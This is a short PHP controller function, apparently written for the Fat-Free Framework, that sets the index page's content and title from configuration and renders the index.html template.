 /**
  * Display index page
  * 
  * Simply displays index.html template :)
  */
 function index(\Base $app, $params)
 {
     $app->set('page.content', $app->get('pages.index_content'));
     $app->set('page.title', $app->get('pages.index_title'));
     echo \Template::instance()->render('index.html');
 }